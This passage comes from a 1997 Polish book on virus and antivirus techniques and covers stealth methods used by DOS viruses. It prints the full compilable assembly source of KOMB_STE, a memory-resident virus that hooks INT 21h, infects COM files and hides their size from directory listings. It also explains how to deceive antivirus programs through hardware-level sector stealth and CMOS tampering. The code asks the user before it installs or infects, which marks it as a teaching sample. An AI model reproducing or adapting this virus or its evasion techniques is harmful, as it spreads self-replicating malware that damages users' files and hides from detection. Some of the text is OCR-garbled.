(bardziej znaczące 32 bity) 20-23 długość pliku (mniej znaczące 32 bity) 24-2B zarezerwowane 2C-12F 260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ) 130-13D 14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ) 7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth) Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików. Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem (klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka). Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej. Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie, często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus, jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na końcu pliku wirusa. Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table), zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej dany plik. Używa się do tego poniższej sekwencji: ; Uzyskiwanie informacji o pliku na podstawie jego uchwytu MOV AX,1220h ; weč adres tablicy JFT zawieraj¦cej numer SFT, ; opisuj¦cej plik podany w BX MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku INT 2Fh ; wywo-aj funkcjŕ MOV BL,ES:[DI] ; weč numer tablicy SFT MOV AX,1216h ; weč adres tablicy SFT na podstawie numeru w BL INT 2Fh ; wywo-aj funkcjŕ ES:DI wskazuje na tablicŕ SFT pliku Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy SFT podano poniżej: Format podtablicy SFT Adres Zawartość 00-03 Wskaźnik do następnej podtablicy 04 N - liczba plików w podtablicy 06-40 Opis pliku nr 1 w podtablicy - patrz następna tablica Opis pliku nr N w podtablicy Opis pliku zawarty w tablicy SFT Adres Zawartość 00-01 Liczba łączników do pliku 02-03 Tryb 04 Atrybut pliku 05-06 Informacja o pliku 07-0A Wskaźnik do nagłówka programu obsługi lub do bloku DPB 0B-0C Pierwsza JAP pliku 0D-0E Czas ostatniej modyfikacji pliku 0F-11 Data ostatniej modyfikacji pliku 11-14 Rozmiar pliku 15-18 Aktualna pozycja wskaźnika odczytu/zapisu pliku 19-1A Względny numer JAP 1B-1E Położenie elementu katalogu opisującego plik 20-2A Nazwa i rozszerzenie pliku 2B-2E Wskaźnik do poprzedniego elementu SFT (pole programu SHARE) 2F-30 Numer komputera w sieci (pole programu SHARE) 31-32 Adres właściciela pliku (jego PSP) 33-34 Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu SHARE) 35-36 Numer JAP 37-3A Wskaźnik do IFS pliku lub 00000000h Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; KOMB_STE v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH ; ; ; ;----------------------------------------------------------------------------; ; Informacje Techniczne ; ;----------------------------------------------------------------------------; ; ; ; Wirus oszukuje uzytkownika w nastepujacy sposob : ; ; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ; ; pomoca polecenia DIR ; ; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ; ; pomoca nakladek typu Dos Navigator, Norton Commander ; ; _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa ; ; (plik jest sztucznie "ucinany" w tablicy SFT ) ; ; ; ; Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych ; ; plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja ; ; programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus ; ; informuje o wykonywanych przez siebie operacjach - w momencie wywolania ; ; zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym, ; ; iz wirus jest juz zainstalowany w pamieci. ; ; ; ; Kompilacja : ; ; TASM KOMB_STE.ASM ; ; TLINK /t KOMB_STE.OB J ; ; ; ;----------------------------------------------------------------------------; JUMPS KOMB_STE SEGMENT ASSUME CS:KOMB_STE, DS:KOMB_STE ORG 100h Haslo = 0BACAh ; \ do sprawdzenia czy wirus jest Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci NUL = 00h ; \ LF = 0Ah ; - stale znakow CR = 0Dh ; / AtrReadOnly = 00000001b ; \ AtrHidden = 00000010b ; \ AtrSystem = 00000100b ; \ rozne stale atrybutow AtrVolumeID = 00001000b ; / pozycji katalogu AtrDirectory = 00010000b ; / AtrArchive = 00100000b ; / DTAStruc struc ; struktura DTA bufora transmisji ; dyskowych uzywana przez ; funkcje 4E i 4F DTAFill db 21 dup (?) ; nieistotna czesc struktury DTAAttr db ? ; atrybut znalezionej pozycji DTATime dw ? ; czas znalezionej pozycji DTADate dw ? ; data znalezionej pozycji DTASize dd ? ; dlugosc znalezionej pozycji DTAName db 13 dup (?) ; nazwa znalezionej pozycji DTAStruc ends DIRStruc struc DIRDrv db ? ; numer napedu DIRName db 8 dup(?) ; nazwa znalezionej pozycji DIRExt db 3 dup(?) ; rozszerzenie znalezionej pozycji DIRAttr db ? ; atrybut znalezionej pozycji DIRRes db 10 dup(?) ; zarezerwowane DIRTime dw ? ; czas znalezionej pozycji DIRDate dw ? ; data znalezionej pozycji DIRStartJAP dw ? ; poczatkowa JAP znalezionej pozycji DIRSize dd ? ; dlugosc znalezionej pozycji DIRStruc ends SFTStruc struc SFTCntHnd dw ? ; ile uchwytow do pliku SFTOpMode dw ? ; tryb otwarcia pliku SFTAttr db ? ; atrybut pliku SFTDevAttr dw ? ; informacja o urzadzeniu SFTDevPtr dd ? ; adres do naglowka sterownika ; lub do DPB SFTStartJAP dw ? ; poczatkowa JAP pliku SFTTime dw ? ; czas pliku SFTDate dw ? ; data pliku SFTSize dd ? ; dlugosc znalezionej pozycji SFTPos dd ? ; wskaznik odczytu/zapisu SFTRes db 7 dup(?) ; pola nieistotne SFTName db 11 dup(?) ; nazwa + rozszerzenie pliku SFTStruc ends VRok = 1998 ; \ data opisujaca VMiesiac = 13 ; - pliki juz zainfekowane VDzien = 31 ; / VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa) DlugoscWPamieci = (DlugoscWirusa +31)/16 Start: ; poczatek wirusa PoczatekWirusa: ; pomocnicza etykieta Call Trik ; zapisz na stosie relatywny ofset Trik: pop si ; zdejmij ze stosu relatywny ofset sub si,103h ; oblicz ofset do poczatku wirusa mov ax,Haslo ; \ sprawdz, czy wirus jest int 21h ; / juz w pamieci cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ? jne InstalacjaWPamieci ; / NIE - zainstaluj ; TAK - wypisz komunikat lea di,TeBylZainstalowany ; / call DrukSI ; / jmp PowrocDoNosiciela ; i powroc do nosiciela InstalacjaWPamieci: ; poczatek instalacji lea di,TeCopyRight ; \ wyswietl info o wirusie Call DrukSI ; / lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce Call DrukSI ; \ zainstalowac wirusa w pamieci Call Decyzja ; / jc PowrocDoNosiciela ; / CF=1 uzytkownik nie chce instalowac mov ax,3521h ; funkcja DOS - wez adres INT 21 int 21h ; wywolaj funkcje mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go mov [si][Stare21Ofs],bx ; / uzywal) mov ax,ds ; przywroc ES mov es,ax ; AX=ES=DS=CS=SS=PSP dec ax ; AX=ES-1=MCB aktualnego bloku pamieci mov ds,ax ; DS=blok MCB aktualnego bloku pamieci mov bx,word ptr ds:[0003h] ; wez dlugosc bloku pamieci sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci int 21h ; wywolaj funkcje mov bx,DlugoscWPamieci ; podaj jaki chcesz blok pamieci mov ah,48h ; funkcja DOS - przydzial bloku int 21h ; wywolaj funkcje jc PowrocDoNosiciela ; CF=1 nie udalo sie przydzielic mov es,ax ; ES=wskazuje na przydzielony blok xor di,di ; ES:DI - dokad skopiowac cld ; zwiekszaj SI, DI w REP MOVSB push si ; SI bedzie zmieniany wiec zachowaj add si,offset PoczatekWirusa ; dodaj skad kopiowac mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow pop si ; przywroc relatywny ofset mov ax,es ; pobierz adres do MCB opisujacego dec ax ; blok, w ktorym jest wirus mov ds,ax ; DS=MCB wirusa mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa jako systemowy sub ax,0Fh ; \ DS=adres bloku-10h mov ds,ax ; \ sztuczka, dzieki ktorej mozna ; / odwolywac sie do danych jak w ; / zwyklym programie COM (ORG 100h) mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h mov ax,25FFh ; funkcja DOS - ustaw adres INT 21 int 21h ; wywolaj funkcje push cs ; \ wyswietl komunikat o pop ds ; \ instalacji w pamieci lea di,TeZainstalowany ; \ i segment, w ktorym Call DrukSI ; / rezyduje wirus mov ax,es ; / Call DrukHEX16 ; / PowrocDoNosiciela: ; push cs cs ; \ przywroc DS=ES=CS=PSP pop ds es ; / mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty mov ds:[100h],al ; \ programu pod adresem CS:100h mov ax,word ptr [si][StareBajty+1] ; / mov ds:[101h],ax ; / mov ax,100h ; \ zachowaj na stosie slad do push ax ; / adresu 100h xor ax,ax ; \ dla bezpieczenstwa xor bx,bx ; \ lepiej wyzerowac rejestry xor cx,cx ; \ robocze xor dx,dx ; / xor si,si ; / xor di,di ; / ret ; powroc do nosiciela PytanieOInstalacje: ; \ odpowiedz rezydujacego xchg al,ah ; - wirusa (na pytanie czy jest iret ; / w pamieci) NoweInt21: cmp ax,4B00h ; czy funkcja DOS - uruchom program ? je InfekcjaPliku ; TAK - sprobuj infekowac cmp ax,Haslo ; czy pytanie wirusa o instalacje ? je PytanieOInstalacje ; TAK - odpowiedz, ze zainstalowany cmp ah,11h ; \ czy funkcje przeszukiwania ? je STEALTH_11_12 ; \ katalogu uzywane przez cmp ah,12h ; / polecenie DIR ? je STEALTH_11_12 ; / TAK - oszukuj jesli trzeba cmp ah,4Eh ; \ czy funkcje przeszukiwania ? je STEALTH_4E_4F ; \ katalogu uzywane przez cmp ah,4Fh ; / nakladki ? je STEALTH_4E_4F ; / TAK - oszukuj jesli trzeba cmp ah,3Dh je STEALTH_3D jmp PowrotZInt21 ; idz do poprzedniego lancucha ; przerwan STEALTH_3D: call UstawNowe24 ; ustaw obsluge bledow krytycznych Call StareInt21 ; wywolaj stare przerwanie 21h jc STEALTH_3D_Powrot2 ; CF=1 to blad pushf ; \ zachowaj wartosci rejestrow push es ax bx di ; / zmienionych przez wywolanie mov bx,ax ; BX zawiera uchwyt (numer) pliku mov ax,1220h ; wez adres tablicy JFT int 2Fh ; wywolaj funkcje jc STEALTH_3D_Powrot ; CF=1 Blad mov bl,es:[di] ; wez numer tablicy SFT mov bh,0 ; BX=BL mov ax,1216h ; wez adres tablicy SFT na podstawie numeru w BL int 2Fh ; wywolaj funkcje jc STEALTH_3D_Powrot ; CF=1 Blad cmp es:[di][SFTDate],VZnacznik ; czy znaleziona pozycja jest ; zainfekowana ? jne STEALTH_3D_Powrot ; NIE - STEALTH niepotrzebne cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku >65535 ? jne MozeMiecWirusa_3D ; TAK - moze byc zainfekowany cmp word ptr es:[di][SFTSize],DlugoscWirusa jb STEALTH_3D_Powrot ; czy dlugosc pliku >=dlug. wirus ; TAK - moze byc zainfekowany ; NIE - STEALTH niepotrzebne MozeMiecWirusa_3D: sub word ptr es:[di][SFTSize],DlugoscWirusa ; odejmij dlugosc wirusa sbb word ptr es:[di][SFTSize+2],0 ; uwzglednij ewent. pozyczke ; z bardziej znaczacej czesci STEALTH_3D_Powrot: pop di bx ax es ; \ przywroc odpowiednie wartosci popf ; / rejestrow STEALTH_3D_Powrot2: Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych retf 2 ; powrot z zachowaniem ustawionych znacznikow ; ES:DI wskazuje na tablicÓ SFT pliku STEALTH_11_12: call UstawNowe24 ; ustaw obsluge bledow krytycznych Call StareInt21 ; wywolaj stare przerwanie 21h or al,al ; CZY AL=0 jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad pushf ; \ zachowaj wartosci rejestrow push es ax bx ; / zmienionych przez wywolanie mov ah,2Fh ; funkcja DOS - wez adres do DTA Call StareInt21 ; wywolaj stare przerwanie 21h cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB ? jne ZwyklyFCB ; NIE - zwykly FCB add bx,7 ; dodaj przesuniecie ; teraz ES:BX=wskazuje na zwykly FCB ZwyklyFCB: cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona pozycja jest ; zainfekowana ? jne STEALTH_11_12_Powrot ; NIE - STEALTH niepotrzebne cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ? jne MozeMiecWirusa_11_12 ; TAK - moze byc zainfekowany cmp word ptr es:[bx][DTASize],DlugoscWirusa jb STEALTH_11_12_Powrot ; czy dlugosc pliku >= dlugosc wirusa ; TAK - moze miec wirusa ; NIE - STEALTH niepotrzebne MozeMiecWirusa_11_12: sub word ptr es:[bx][DTASize],DlugoscWirusa ; odejmij dlugosc wirusa sbb word ptr es:[bx][DTASize+2],0 ; uwzglednij ewent. pozyczke ; z bardziej znaczacej czesci STEALTH_11_12_Powrot: pop bx ax es ; \ przywroc odpowiednie wartosci popf ; / rejestrow STEALTH_11_12_Powrot2: Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych retf 2 ; powrot z zachowaniem ustawionych znacznikow STEALTH_4E_4F: call UstawNowe24 ; ustaw obsluge bledow krytycznych Call StareInt21 ; wywolaj stare przerwanie 21h jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad pushf ; \ zachowaj wartosci rejestrow push es ax bx ; / zmienionych przez wywolanie mov ah,2Fh ; funkcja DOS - wez adres do DTA Call StareInt21 ; wywolaj stare przerwanie 21h cmp es:[bx][DTADate],VZnacznik ; czy znaleziona pozycja jest ; zainfekowana ? jne STEALTH_4E_4F_Powrot ; NIE - STEALTH niepotrzebne cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ? jne MozeMiecWirusa_4E_4F ; TAK - moze byc zainfekowany cmp word ptr es:[bx][DTASize],DlugoscWirusa jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku >=dlug. wirusa ; TAK - moze byc zainfekowany ; NIE - STEALTH niepotrzebne MozeMiecWirusa_4E_4F: sub word ptr es:[bx][DTASize],DlugoscWirusa ; odejmij dlugosc wirusa sbb word ptr es:[bx][DTASize+2],0 ; uwzglednij ewent. pozyczke ; z bardziej znaczacej czesci STEALTH_4E_4F_Powrot: pop bx ax es ; \ przywroc odpowiednie wartosci popf ; / rejestrow STEALTH_4E_4F_Powrot2: Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych retf 2 ; powrot z zachowaniem ustawionych znacznikow InfekcjaPliku: push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku mov cs:StaryDX, dx ; / call UstawNowe24 mov ax,4300h ; funkcja DOS - czytaj atrybut Call StareInt21 ; wywolaj stare przerwanie 21h jc PrzywrocAtrybut ; CF=1 blad wiec powrot mov cs:Atrybut,cl ; wez stary atrybut mov ax,4301h ; funkcja DOS - zapisz atrybut mov cx,AtrArchive ; podaj nowy atrybut : Archive Call StareInt21 ; wywolaj stare przerwanie 21h jc PrzywrocAtrybut mov ax,3D02h ; funkcja DOS - otworz plik ; do odczytu i zapisu Call StareInt21 ; wywolaj stare przerwanie 21h jc PrzywrocAtrybut ; gdy CF=1, to blad xchg ax,bx ; przenies uchwyt pliku do BX mov ax,5700h ; funkcja DOS - wpisz date, czas Call StareInt21 ; wywolaj stare przerwanie 21h mov cs:Czas,cx ; zachowaj czas pliku na pozniej cmp dx,VZnacznik ; czy plik jest juz zainfekowany ? je ZamknijPlik ; TAK - zamknij plik, powrot push cs ; \ DS=CS=segment wirusa pop ds ; / mov cx,3 ; ilosc czytanych bajtow lea dx,StareBajty ; podaj dokad czytac 3 bajty mov ah,3Fh ; funkcja DOS - czytaj z pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku cmp ax,'MZ' ; i sprawdz, czy to nie EXE je ZamknijPlik ; gdy 'MZ' to plik EXE, powrot cmp ax,'ZM' ; je ZamknijPlik ; gdy 'ZM' to plik EXE, powrot xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem konca pliku mov ax,4202h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na koniec pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad ; DX = starsza czesc dlugosci pliku or dx,dx ; czy plik krotszy niz 65536 ? jnz ZamknijPlik ; NIE - nie infekuj cmp ax,64000 ; czy dlugosc <= 64000 ? ja ZamknijPlik ; NIE - nie infekuj cmp ax,3 ; czy dlugosc >= 3 ? jb ZamknijPlik ; NIE - nie infekuj sub ax,3 ; odejmij dlugosc skoku E9 ?? ?? mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika Call Druk ; \ czy chce zainfekowac ; \ plik mov di,cs:StaryDX ; \ nazwa pliku jest mov ds,cs:StaryDS ; \ wyswietlana Call Druk ; \ ; - (dzieki temu uzytkownik push cs ; / ma pelna kontrole nad pop ds ; / tym co wirus infekuje) lea di,TeInfekcja ; / Call Druk ; / Call Decyzja ; / jc ZamknijPlik ; / CF=1 uzytkownik nie pozwala mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow mov dx,100h ; podaj skad zapisac wirusa mov ah,30h ; funkcja DOS - zapisz do pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem poczatku pliku mov ax,4200h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na poczatek pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1 to blad mov cx,3 ; ilosc zapisywanych bajtow lea dx,Skok ; podaj skad zapisac rozkaz skoku mov ah,30h ; funkcja DOS - zapisz do pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad mov cx,Czas ; przywroc czas mov dx,VZnacznik ; zaznacz w dacie infekcje pliku mov ax,5701h ; funkcja DOS - wpisz date, czas Call StareInt21 ; wywolaj stare przerwanie 21h ZamknijPlik: mov ah,3Eh ; funkcja DOS - zamknij plik Call StareInt21 ; wywolaj stare przerwanie 21h PrzywrocAtrybut: mov cl,cs:Atrybut ; podaj stary atrybut mov ch,0 ; CX=CL mov dx,cs:StaryDX ; \ podaj nazwe pliku do zmiany mov ds,cs:StaryDS ; / w DS:DX mov ax,4301h ; funkcja DOS - zmien atrybut Call StareInt21 ; wywolaj stare przerwanie 21h Call PrzywrocStare24 pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry PowrotZInt21: db 0EAh ; mnemonik rozkazu skoku JMP FAR Stare21Ofs dw ? ; z tych pol korzysta skok Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego ; elementu lancucha przerwan INT 21 StareInt21: pushf ; \ symuluj wywolanie przerwania Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare przerwanie ret ; powroc z wywolania UstawNowe24: push ds es ax bx dx ; zachowaj zmieniane rejestry mov ax,3524h ; \ pobierz stara i ustaw Call StareInt21 ; \ nowa procedure obslugi mov cs:Stare24Seg,es ; \ przerwania krytycznego mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony ; \ przed ewentulanymi bledami push cs ; / (np; podczas proby zapisu pop ds ; / na zabezpieczona przed lea dx,NoweInt24 ; / zapisem dyskietce nie mov ax,2524h ; / zostanie wywolany dialog Call StareInt21 ; / ARIF) pop dx bx ax es ds ; przywroc zmieniane rejestry ret ; powroc z wywolania PrzywrocStare24: push ds ax dx ; zachowaj zmieniane rejestry lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie mov ax,2524h ; - INT 24 Call StareInt21 ; / pop dx ax ds ; przywroc zmieniane rejestry ret DrukSI: ; procedura wyswietla tekst z ; CS:[DI+SI] add di,si ; tekst w DI, dodaj SI Druk: ; procedura wyswietla tekst z ; CS:[DI] push ax di ; zachowaj zmieniane rejestry DrukPetla: mov al,[di] ; pobierz znak or al,al ; czy koniec tekstu (znak=NUL) ? jz DrukPowrot ; TAK - koncz pisanie mov ah,0Eh ; funkcja BIOS - wyswietl znak int 10h ; wywolaj funkcje inc di ; zwieksz indeks (na nastepny znak) jmp short DrukPetla ; idz po nastepny znak DrukPowrot: pop di ax ; przywroc zmieniane rejestry ret ; powrot DrukHEX16: ; drukuje liczbe heksalna z AX push ax ; zachowaj AX (dokladniej AL) mov al,ah ; najpierw starsza czesc Call DrukHex8 ; wyswietl AH pop ax ; przywroc AX (dokladniej AL) ; i wyswietl AL DrukHex8: ; drukuje liczbe heksalna z AL push ax ; zachowaj AX (dokladniej 4 bity AL) shr al,1 ; \ shr al,1 ; \ podziel AL przez 16 shr al,1 ; / czyli wez 4 starsze bity AL shr al,1 ; / Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej pop ax ; przywroc AX (dokladniej 4 bity AL) and al,15 ; wez 4 mlodsze bity AL ; i wydrukuj czesc liczby szesnastkowej DrukHex4: cmp al,10 ; \ konwersja liczby binarnej jb Cyfra09 ; \ na znak add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na Cyfra09: ; / '0'..'9', 'A'..'F' add al,'0' ; / mov ah,0Eh ; funkcja BIOS - wyswietl znak int 10h ; wywolaj funkcje ret ; powrot Decyzja: ; \ pobiera z klawiatury mov ah,0h ; \ znak i sprawdza czy jest int 16h ; \ to litera 'T'lub 't' and al,0DFh ; \ jesli tak, ustawia CF=0 cmp al,'T' ; \ jesli nie, ustawia CF=1 clc ; / je DecyzjaTak ; / stc ; / DecyzjaTak: ; / ret ; / NoweInt24: ; mov al,3 ; sygnalizuj CF=1, gdy dowolny blad ; nie wywoluj ARIF iret ; powrot z przerwania TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej (T/N) ?',NUL TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go wirusem KOMB_STE (T/N) ?',NUL StareBajty db 0CDh,20h,90h Skok db 0E9h KoniecWirusa: Skok2 dw ? StaryDS dw ? StaryDX dw ? Atrybut db ? Czas dw ? Stare24Ofs dw ? Stare24Seg dw ? KOMB_STE ends end start 7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth) Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów; należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać). Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13). 7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth) W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji (9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym- Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR, zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość MBR. Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7 (rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora). W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa. Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14 (co można ustawić programowo) przy realizacji operacji dostępu do dysku. 7.2. ModyfikacjaCMOS-a Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET. To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera. Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do podtrzymywanej baterią pamięci CMOS. Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest konieczne ze względu na kompatybilność). Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca, jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor, po czym oddaje do niego sterowanie. Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi dostanie się do programu SETUP. 7.3. Atrybut etykiet dysku (ang. VolumeID) Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej wymieniony 